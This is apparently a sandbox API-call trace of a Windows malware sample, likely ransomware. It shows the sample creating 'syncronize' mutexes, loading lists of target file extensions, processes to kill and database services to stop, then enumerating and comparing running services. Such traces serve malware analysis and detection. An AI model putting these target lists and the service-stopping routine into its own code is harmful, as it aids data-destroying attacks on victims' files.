"NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 34 os_tid = 0xd8c [0262.693] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x77740000 [0262.693] GetProcAddress (hModule=0x77740000, lpProcName="GetProcAddress") returned 0x777551b0 [0262.693] GetProcAddress (hModule=0x77740000, lpProcName="GetModuleHandleW") returned 0x777550d0 [0262.693] GetProcAddress (hModule=0x77740000, lpProcName="FindNextFileW") returned 0x777aee40 [0262.693] GetProcAddress (hModule=0x77740000, lpProcName="FindClose") returned 0x777aed70 [0262.693] GetProcAddress (hModule=0x77740000, lpProcName="MoveFileW") returned 0x7778e500 [0262.693] GetProcAddress (hModule=0x77740000, lpProcName="GetFileSizeEx") returned 0x777aef40 [0262.693] GetProcAddress (hModule=0x77740000, lpProcName="GetModuleFileNameW") returned 0x77755090 [0262.693] GetProcAddress (hModule=0x77740000, lpProcName="GetFileAttributesW") returned 0x777aef10 [0262.693] GetProcAddress (hModule=0x77740000, lpProcName="ExitProcess") returned 0x77753cb0 [0262.693] GetProcAddress (hModule=0x77740000, lpProcName="GetCommandLineW") returned 0x77754cc0 [0262.693] GetProcAddress (hModule=0x77740000, lpProcName="GetComputerNameW") returned 0x777832c0 [0262.694] GetProcAddress (hModule=0x77740000, lpProcName="GetComputerNameA") returned 0x77783780 [0262.694] GetProcAddress (hModule=0x77740000, lpProcName="CreateMutexW") returned 0x777aeb70 [0262.694] GetProcAddress (hModule=0x77740000, lpProcName="lstrlenW") returned 0x77756c70 [0262.694] GetProcAddress (hModule=0x77740000, lpProcName="lstrlenA") returned 0x77756c50 [0262.694] GetProcAddress (hModule=0x77740000, lpProcName="GetCurrentProcess") returned 0x777aea10 [0262.694] GetProcAddress (hModule=0x77740000, lpProcName="WaitForSingleObject") returned 0x777aeca0 [0262.694] GetProcAddress (hModule=0x77740000, lpProcName="GetLogicalDrives") returned 0x77750d20 [0262.694] GetProcAddress (hModule=0x77740000, lpProcName="GetTickCount") returned 0x777add50 [0262.694] GetProcAddress (hModule=0x77740000, lpProcName="DeleteFileW") returned 0x777aed40 [0262.694] GetProcAddress (hModule=0x77740000, lpProcName="WideCharToMultiByte") returned 0x77756b10 [0262.694] GetProcAddress (hModule=0x77740000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x777aebb0 [0262.694] GetProcAddress (hModule=0x77740000, lpProcName="Sleep") returned 0x77756760 [0262.694] GetProcAddress (hModule=0x77740000, lpProcName="LeaveCriticalSection") returned 0x77cbb250 [0262.694] GetProcAddress (hModule=0x77740000, lpProcName="ReadFile") returned 0x777af090 [0262.694] GetProcAddress (hModule=0x77740000, lpProcName="CreateFileW") returned 0x777aed10 [0262.694] GetProcAddress (hModule=0x77740000, lpProcName="OpenMutexW") returned 0x777aebf0 [0262.694] GetProcAddress (hModule=0x77740000, lpProcName="EnterCriticalSection") returned 0x77cbb2d0 [0262.694] GetProcAddress (hModule=0x77740000, lpProcName="WaitForMultipleObjects") returned 0x777aec80 [0262.694] GetProcAddress (hModule=0x77740000, lpProcName="lstrcmpiW") returned 0x77756bf0 [0262.694] GetProcAddress (hModule=0x77740000, lpProcName="lstrcmpiA") returned 0x77756bd0 [0262.694] GetProcAddress (hModule=0x77740000, lpProcName="DeleteCriticalSection") returned 0x77c9fb90 [0262.694] GetProcAddress (hModule=0x77740000, lpProcName="ReleaseMutex") returned 0x777aec20 [0262.695] GetProcAddress (hModule=0x77740000, lpProcName="CloseHandle") returned 0x777aeab0 [0262.695] GetProcAddress (hModule=0x77740000, lpProcName="GetVersion") returned 0x777556c0 [0262.695] GetProcAddress (hModule=0x77740000, lpProcName="CreateThread") returned 0x777546b0 [0262.695] GetProcAddress (hModule=0x77740000, lpProcName="ExpandEnvironmentStringsW") returned 0x77754a40 [0262.695] GetProcAddress (hModule=0x77740000, lpProcName="QueryPerformanceCounter") returned 0x77755da0 [0262.695] GetProcAddress (hModule=0x77740000, lpProcName="QueryPerformanceFrequency") returned 0x77755dc0 [0262.695] GetProcAddress (hModule=0x77740000, lpProcName="GetCurrentProcessId") returned 0x777aea20 [0262.695] GetProcAddress (hModule=0x77740000, lpProcName="SetFileAttributesW") returned 0x777af100 [0262.695] GetProcAddress (hModule=0x77740000, lpProcName="GetVolumeInformationW") returned 0x777af020 [0262.695] GetProcAddress (hModule=0x77740000, lpProcName="WriteFile") returned 0x777af180 [0262.695] GetProcAddress (hModule=0x77740000, lpProcName="SetFilePointerEx") returned 0x777af130 [0262.695] GetProcAddress (hModule=0x77740000, lpProcName="SetEndOfFile") returned 0x777af0e0 [0262.695] GetProcAddress (hModule=0x77740000, lpProcName="FindFirstFileW") returned 0x777aedf0 [0262.695] GetProcAddress (hModule=0x77740000, lpProcName="GetProcessHeap") returned 0x777551f0 [0262.695] GetProcAddress (hModule=0x77740000, lpProcName="HeapReAlloc") returned 0x77caf630 [0262.695] GetProcAddress (hModule=0x77740000, lpProcName="HeapAlloc") returned 0x77cb2dc0 [0262.695] GetProcAddress (hModule=0x77740000, lpProcName="HeapFree") returned 0x777557f0 [0262.695] GetProcAddress (hModule=0x77740000, lpProcName="CreatePipe") returned 0x77754590 [0262.695] GetProcAddress (hModule=0x77740000, lpProcName="SetHandleInformation") returned 0x777aeae0 [0262.695] GetProcAddress (hModule=0x77740000, lpProcName="CreateProcessW") returned 0x77754610 [0262.695] GetProcAddress (hModule=0x77740000, lpProcName="CompareStringW") returned 0x77754430 [0262.695] GetProcAddress (hModule=0x77740000, lpProcName="CompareStringA") returned 0x77754410 [0262.696] GetProcAddress (hModule=0x77740000, lpProcName="OpenProcess") returned 0x77755cc0 [0262.696] GetProcAddress (hModule=0x77740000, lpProcName="TerminateProcess") returned 0x777567e0 [0262.696] GetProcAddress (hModule=0x77740000, lpProcName="GetSystemTime") returned 0x777554e0 [0262.696] GetProcAddress (hModule=0x77740000, lpProcName="SystemTimeToFileTime") returned 0x777567a0 [0262.696] GetProcAddress (hModule=0x77740000, lpProcName="GetLastError") returned 0x77755010 [0262.696] GetProcAddress (hModule=0x77740000, lpProcName="CreateToolhelp32Snapshot") returned 0x7778edc0 [0262.696] GetProcAddress (hModule=0x77740000, lpProcName="Process32NextW") returned 0x7778f8f0 [0262.696] GetProcAddress (hModule=0x77740000, lpProcName="Process32FirstW") returned 0x7778f750 [0262.696] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x773f0000 [0264.264] GetProcAddress (hModule=0x773f0000, lpProcName="RegOpenKeyExW") returned 0x7740e580 [0264.264] GetProcAddress (hModule=0x773f0000, lpProcName="RegQueryValueExW") returned 0x7740e5a0 [0264.264] GetProcAddress (hModule=0x773f0000, lpProcName="RegSetValueExW") returned 0x7740f530 [0264.264] GetProcAddress (hModule=0x773f0000, lpProcName="RegCloseKey") returned 0x7740ed60 [0264.264] GetProcAddress (hModule=0x773f0000, lpProcName="OpenProcessToken") returned 0x7740efb0 [0264.264] GetProcAddress (hModule=0x773f0000, lpProcName="GetTokenInformation") returned 0x7740ee90 [0264.264] GetProcAddress (hModule=0x773f0000, lpProcName="OpenSCManagerW") returned 0x77410540 [0264.264] GetProcAddress (hModule=0x773f0000, lpProcName="OpenServiceW") returned 0x7740fa20 [0264.264] GetProcAddress (hModule=0x773f0000, lpProcName="CloseServiceHandle") returned 0x7740fc00 [0264.264] GetProcAddress (hModule=0x773f0000, lpProcName="ControlService") returned 0x774226d0 [0264.264] GetProcAddress (hModule=0x773f0000, lpProcName="QueryServiceStatus") returned 0x77412380 [0264.264] GetProcAddress (hModule=0x773f0000, lpProcName="EnumDependentServicesW") returned 0x77422f70 [0264.264] GetProcAddress (hModule=0x773f0000, lpProcName="EnumServicesStatusExW") returned 0x7740fc80 [0264.264] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76360000 [0265.165] GetProcAddress (hModule=0x76360000, lpProcName="SystemParametersInfoW") returned 0x7638f210 [0265.165] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75010000 [0267.812] GetProcAddress (hModule=0x75010000, lpProcName="ShellExecuteExW") returned 0x75174730 [0267.812] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77c70000 [0267.812] GetProcAddress (hModule=0x77c70000, lpProcName="NtQuerySystemInformation") returned 0x77ce2070 [0267.812] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74670000 [0267.847] GetProcAddress (hModule=0x74670000, lpProcName="WNetCloseEnum") returned 0x74672640 [0267.847] GetProcAddress (hModule=0x74670000, lpProcName="WNetOpenEnumW") returned 0x74672790 [0267.847] GetProcAddress (hModule=0x74670000, lpProcName="WNetEnumResourceW") returned 0x74672410 [0267.847] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x77940000 [0267.914] GetProcAddress (hModule=0x77940000, lpProcName="WSAStartup") returned 0x77945b40 [0267.914] GetProcAddress (hModule=0x77940000, lpProcName="socket") returned 0x77954510 [0267.914] GetProcAddress (hModule=0x77940000, lpProcName="send") returned 0x77945030 [0267.914] GetProcAddress (hModule=0x77940000, lpProcName="recv") returned 0x77950c50 [0267.915] GetProcAddress (hModule=0x77940000, lpProcName="connect") returned 0x77945410 [0267.915] GetProcAddress (hModule=0x77940000, lpProcName="closesocket") returned 0x77950910 [0267.915] GetProcAddress (hModule=0x77940000, lpProcName="gethostbyname") returned 0x77976cb0 [0267.915] GetProcAddress (hModule=0x77940000, lpProcName="inet_addr") returned 0x77959160 [0267.915] GetProcAddress (hModule=0x77940000, lpProcName="ntohl") returned 0x779449d0 [0267.915] GetProcAddress (hModule=0x77940000, lpProcName="htonl") returned 0x779449d0 [0267.915] GetProcAddress (hModule=0x77940000, lpProcName="htons") returned 0x77958ff0 [0267.915] GetProcessHeap () returned 0x6e0000 [0267.915] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x20) returned 0x6ec150 [0267.915] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=12618289270) returned 1 [0267.915] GetTickCount () returned 0x1ecbc [0267.915] GetCurrentProcessId () returned 0xd88 [0267.917] GetTickCount () returned 0x1eccc [0267.917] GetTickCount () returned 0x1eccc [0267.917] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x20) returned 0x6ec0b0 [0267.917] GetVersion () returned 0x23f00206 [0267.917] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x7) returned 0x6f7d98 [0267.917] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x6f8f60 [0267.917] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f8f60, Size=0x20) returned 0x6ec290 [0267.917] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6ec290, Size=0x40) returned 0x6f86c8 [0267.917] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x6fe530 [0267.918] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_AEDV8MA") returned 0x0 [0267.918] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_AEDV8MA") returned 0x1ec [0267.918] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f7d98 | out: hHeap=0x6e0000) returned 1 [0267.918] lstrlenW (lpString="Global\\syncronize_") returned 18 [0267.918] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f86c8 | out: hHeap=0x6e0000) returned 1 [0267.918] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x7) returned 0x6f7d98 [0267.918] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x6f9080 [0267.918] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f9080, Size=0x20) returned 0x6ec290 [0267.918] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6ec290, Size=0x40) returned 0x6f8b00 [0267.918] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x70e538 [0267.918] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_AEDV8MU") returned 0x0 [0267.918] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_AEDV8MU") returned 0x1f0 [0267.918] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f7d98 | out: hHeap=0x6e0000) returned 1 [0267.918] lstrlenW (lpString="Global\\syncronize_") returned 18 [0267.918] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f8b00 | out: hHeap=0x6e0000) returned 1 [0267.918] GetVersion () returned 0x23f00206 [0267.919] GetCurrentProcess () returned 0xffffffff [0267.919] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0267.919] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0267.919] CloseHandle (hObject=0x1f4) returned 1 [0267.919] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0267.919] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x14) returned 0x6f73e0 [0267.919] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x6f8f48 [0267.919] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f8f48, Size=0x20) returned 0x6ec290 [0267.919] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6ec290, Size=0x40) returned 0x6f8560 [0267.919] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f8560, Size=0x80) returned 0x6f6f88 [0267.919] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f6f88, Size=0x100) returned 0x6f8cb0 [0267.919] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x34) returned 0x6fa250 [0267.919] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x4) returned 0x6f7d98 [0267.919] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x4) returned 0x6f7de8 [0267.919] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x6f7da8 [0267.919] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x6f8f48 [0267.919] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x4) returned 0x6f7db8 [0267.919] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x6f8eb8 [0267.919] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f7db8, Size=0x8) returned 0x6f7dc8 [0267.919] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x6f8e70 [0267.919] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f7dc8, Size=0x10) returned 0x6f9080 [0267.919] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x6f90b0 [0267.919] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x6f8e88 [0267.919] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f9080, Size=0x20) returned 0x6ec290 [0267.919] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x6f8f60 [0267.919] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x6f9080 [0267.919] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f7d98, Size=0x8) returned 0x6f7db8 [0267.919] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f7de8, Size=0x8) returned 0x6f7d98 [0267.919] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x6f7de8 [0267.919] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x6f90c8 [0267.919] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x4) returned 0x6f7dc8 [0267.919] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x6f8ed0 [0267.919] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f7dc8, Size=0x8) returned 0x6f7c18 [0267.919] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x6f8ee8 [0267.919] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f7c18, Size=0x10) returned 0x6f9170 [0267.919] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x6f9158 [0267.919] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x6f7dc8 [0267.919] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f9170, Size=0x20) returned 0x71e750 [0267.919] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f7db8, Size=0x10) returned 0x6f9188 [0267.919] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f7d98, Size=0x10) returned 0x6f91a0 [0267.920] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x6f7d98 [0267.920] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x6f9110 [0267.920] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x4) returned 0x6f7db8 [0267.920] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x6f9170 [0267.920] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f7db8, Size=0x8) returned 0x6f7c18 [0267.920] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x6f7db8 [0267.920] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x6f9128 [0267.920] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x4) returned 0x71ef28 [0267.920] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x6f91b8 [0267.920] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71ef28, Size=0x8) returned 0x71ee08 [0267.920] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f9188, Size=0x20) returned 0x71e8b8 [0267.920] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f91a0, Size=0x20) returned 0x71e908 [0267.920] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x71edd8 [0267.920] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x6f91a0 [0267.920] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x4) returned 0x71eec8 [0267.920] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x6f9140 [0267.920] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71eec8, Size=0x8) returned 0x71ef38 [0267.920] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x14) returned 0x6f70a0 [0267.920] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x14) returned 0x6f72a0 [0267.920] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0267.920] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f8cb0 | out: hHeap=0x6e0000) returned 1 [0267.920] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0 [0267.924] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x6f9188 [0267.924] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f9188, Size=0x20) returned 0x71e660 [0267.924] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71e660, Size=0x40) returned 0x6f8908 [0267.924] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f8908, Size=0x80) returned 0x6f8cb0 [0267.924] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f8cb0, Size=0x100) returned 0x6f8cb0 [0267.924] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x6f9188 [0267.924] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f9188, Size=0x20) returned 0x71e6d8 [0267.924] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71e6d8, Size=0x40) returned 0x6f86c8 [0267.924] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f86c8, Size=0x80) returned 0x6f91e8 [0267.924] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f91e8, Size=0x100) returned 0x6f91e8 [0267.924] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x6f9188 [0267.924] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x4) returned 0x71ef68 [0267.924] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x6f91d0 [0267.924] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71ef68, Size=0x8) returned 0x71ee58 [0267.924] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x14) returned 0x6f70c0 [0267.924] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71ee58, Size=0x10) returned 0x723ab0 [0267.924] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x18) returned 0x6f72c0 [0267.924] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1a) returned 0x71e660 [0267.924] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x723ab0, Size=0x20) returned 0x71e980 [0267.924] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1c) returned 0x71e8e0 [0267.924] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x16) returned 0x6f70e0 [0267.924] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1a) returned 0x71e930 [0267.924] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x723a50 [0267.924] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x4) returned 0x71ee18 [0267.924] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x40) returned 0x6f8830 [0267.924] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71ee18, Size=0x8) returned 0x71ee58 [0267.924] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x3c) returned 0x6f8878 [0267.924] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71ee58, Size=0x10) returned 0x723af8 [0267.924] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x14) returned 0x6f7100 [0267.924] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x18) returned 0x6f7120 [0267.924] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x723af8, Size=0x20) returned 0x71e638 [0267.924] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x24) returned 0x6f6400 [0267.924] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0267.924] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f8cb0 | out: hHeap=0x6e0000) returned 1 [0267.924] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0267.924] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f91e8 | out: hHeap=0x6e0000) returned 1 [0267.925] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x71e958 [0268.315] EnumServicesStatusExW (in: hSCManager=0x71e958, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0 [0268.316] GetLastError () returned 0xea [0268.316] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1c2e) returned 0x7261c8 [0268.316] EnumServicesStatusExW (in: hSCManager=0x71e958, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7261c8, cbBufSize=0x1c2e, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7261c8, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1 [0268.317] CloseServiceHandle (hSCObject=0x71e958) returned 1 [0268.317] lstrlenW (lpString="AppXSvc") returned 7 [0268.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0269.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0269.112] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0269.112] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0269.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0269.112] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0269.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0269.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0269.112] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0269.112] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0269.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0269.112] lstrlenW (lpString="Audiosrv") returned 8 [0269.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0269.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0269.113] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0269.113] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0269.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0269.113] lstrlenW (lpString="BFE") returned 3 [0269.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0269.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0269.113] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0269.113] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0269.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0269.113] lstrlenW (lpString="BITS") returned 4 [0269.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0269.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0269.113] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0269.113] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0269.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0269.113] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0269.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0269.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0269.113] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0269.113] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0269.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0269.113] lstrlenW (lpString="CDPSvc") returned 6 [0269.113] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0269.113] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0269.113] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0269.113] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0269.113] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 